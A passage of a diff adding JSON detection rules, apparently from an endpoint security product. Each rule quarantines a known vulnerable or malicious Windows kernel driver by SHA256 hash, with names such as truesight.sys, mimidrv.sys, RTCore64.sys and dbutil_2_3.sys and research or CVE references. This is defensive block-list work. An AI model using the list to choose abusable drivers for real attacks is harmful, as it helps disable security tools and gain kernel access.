+  "value": "3438e79b93d2a31d2da9a18a806cf3baaf0e75ae238cad04e3013e7e546256f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aee014f5-8d4f-5fe2-9763-451b59aac9ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470490Z",
+  "creation_date": "2026-03-23T11:45:30.470494Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470503Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bdd173909efc3bb3c5d216ea0fd9ec5e935c2572ef48973eeb0917b733ff754c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aee701b0-c2e3-531a-b1fc-dd3bcf7eb01d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607204Z",
+  "creation_date": "2026-03-23T11:45:29.607206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607212Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe4270a61dbed978c28b2915fcc2826d011148dcb7533fa8bd072ddce5944cef",
+  "comment": "Dell vulnerable driver (aka dbutil_2_3.sys) [CVE-2021-21551] [https://github.com/SpikySabra/Kernel-Cactus] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aee838be-03a4-5c4c-a1a3-3df8ccb52f2b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984982Z",
+  "creation_date": "2026-03-23T11:45:29.984986Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984994Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb11a4270a6980a97ea8775422dacbd1e763b7e5898f0a80c71c91449fff7ab4",
+  "comment": "Dangerous Physmem Kernel Driver (aka BS_Def64.Sys) [https://www.loldrivers.io/drivers/4a80da66-f8f1-4af9-ba56-696cfe6c1e10/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aeecb672-0bee-5bc7-b8b9-749cc6c06120",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985898Z",
+  "creation_date": "2026-03-23T11:45:29.985900Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985905Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24c900024d213549502301c366d18c318887630f04c96bf0a3d6ba74e0df164f",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "aeee4d0e-095b-5bb9-8c98-17a3ef01269e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981314Z",
+  "creation_date": "2026-03-23T11:45:29.981316Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e2622d8e7a0ec136ba1fff639833f05137f8a1ff03e7a93b9a4aea25e7abb8d",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af0ce512-2ea3-5221-a5ae-eb53191a24df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487631Z",
+  "creation_date": "2026-03-23T11:45:31.487633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487639Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6692a2d344410c24137e8b1d9fb8756167c7e29139a9148699bc68144faf2fa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af0d2ee1-0202-5f5f-a533-7385c2d84670",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825835Z",
+  "creation_date": "2026-03-23T11:45:30.825837Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825843Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d029a7d13535a3f296fa0699be78aa3566b92593f60d5842c816488cff36693c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af12f81d-eb60-5ea0-bc6e-1bd268a67ec4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477607Z",
+  "creation_date": "2026-03-23T11:45:30.477611Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cf756afcaf2ce4f8fb479fdede152a17eabf4c5c7c329699dab026a4c1d4fd0",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af18d9e0-72d1-5a9f-ae4f-1a4c62ca085f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151212Z",
+  "creation_date": "2026-03-23T11:45:31.151214Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151220Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ccd57ee422366be97722b902cf530d071bc7315cbad77c6ebf86a432f685c4b4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af1a895d-8eea-58d9-93d9-6eb2aa8d5c10",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472094Z",
+  "creation_date": "2026-03-23T11:45:30.472098Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472107Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69640e9209f8e2ac25416bd3119b5308894b6ce22b5c80cb5d5f98f2f85d42ce",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af357cc6-1102-5859-ae0c-385eb26338b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617799Z",
+  "creation_date": "2026-03-23T11:45:29.617801Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617806Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da8945bd5c693c0593c9d0e3bda49bb1c6007cb25643c95708c6b10bef7c136a",
+  "comment": "Getac Technology vulnerable BIOS update tool (aka mtcBSv64.sys) [https://www.loldrivers.io/drivers/3bc629e8-7bf8-40c2-965b-87eb155e0065/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af3cbd70-77ed-5e3e-a934-e83c74938306",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824682Z",
+  "creation_date": "2026-03-23T11:45:31.824684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824692Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a84cd1c7cc9c0329e65fd5735586285239a010a5e83dd126c7504179a80918f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af3d05a9-3635-501f-b289-43481c1d36a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808783Z",
+  "creation_date": "2026-03-23T11:45:31.808787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808796Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fbe27ef8d48a5cf80ffd8e085cc4d40857fc946b0e3b99d4da0d1a765ee0639b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af488912-f1d2-5ca4-ba64-a2217e0d7f01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607630Z",
+  "creation_date": "2026-03-23T11:45:29.607632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607637Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "696679114f6a106ec94c21e2a33fe17af86368bcf9a796aaea37ea6e8748ad6a",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af48e9c3-a04f-5b91-837c-2c2c2ab58bca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604573Z",
+  "creation_date": "2026-03-23T11:45:29.604575Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604580Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5db0fe4b16744f14b4ab1d255a4d3c63710d0073417bae9bb3bfeef4a09d38e0",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af58c950-3979-54af-b34b-46eec406dadb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615697Z",
+  "creation_date": "2026-03-23T11:45:29.615699Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615704Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a502c904a7fe42183d3ea66f1e01fbd4321eb202280b054b9124dd333f093ba2",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af5ab8c8-e7eb-5beb-a908-cd7268cc62de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814147Z",
+  "creation_date": "2026-03-23T11:45:31.814150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814166Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8862e36702119584f443eb9a4bcb8df31cd6364ed2e545e6fd0d2bdcc3f453d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af60699a-fd52-5f26-933e-09bfa83ee05a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481186Z",
+  "creation_date": "2026-03-23T11:45:30.481188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481193Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d7d06d2f6af50ff5810c8d6a818cb59da635a56c0fdae5d0ed3d0aee4bedf3e",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af6bc271-2a53-5ea8-9be0-14998853cb62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980882Z",
+  "creation_date": "2026-03-23T11:45:29.980884Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980890Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ffd03584246730397e231eb8d16c1449aef2c3bc79bf9da3ebf8400a21b20ae7",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af81c2bd-ee89-567a-843f-3a116ea3e92f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818031Z",
+  "creation_date": "2026-03-23T11:45:30.818033Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818038Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "442f12adebf7cb166b19e8aead2b0440450fd1f33f5db384a39776bb2656474a",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af8c72ce-778f-5c29-bcc4-0a45ec488456",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813142Z",
+  "creation_date": "2026-03-23T11:45:31.813146Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813155Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94fb2c5a93881c8202ece91e31428061bfb595cb17126a64b4f595fa99798c2e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "af9c28c1-7faf-5062-b560-ddb9f86b4e7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811729Z",
+  "creation_date": "2026-03-23T11:45:31.811731Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811736Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f7f31df69b8dc1460966ba3c1921cf051ae82b33524b7d1670108b87f727ad8b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
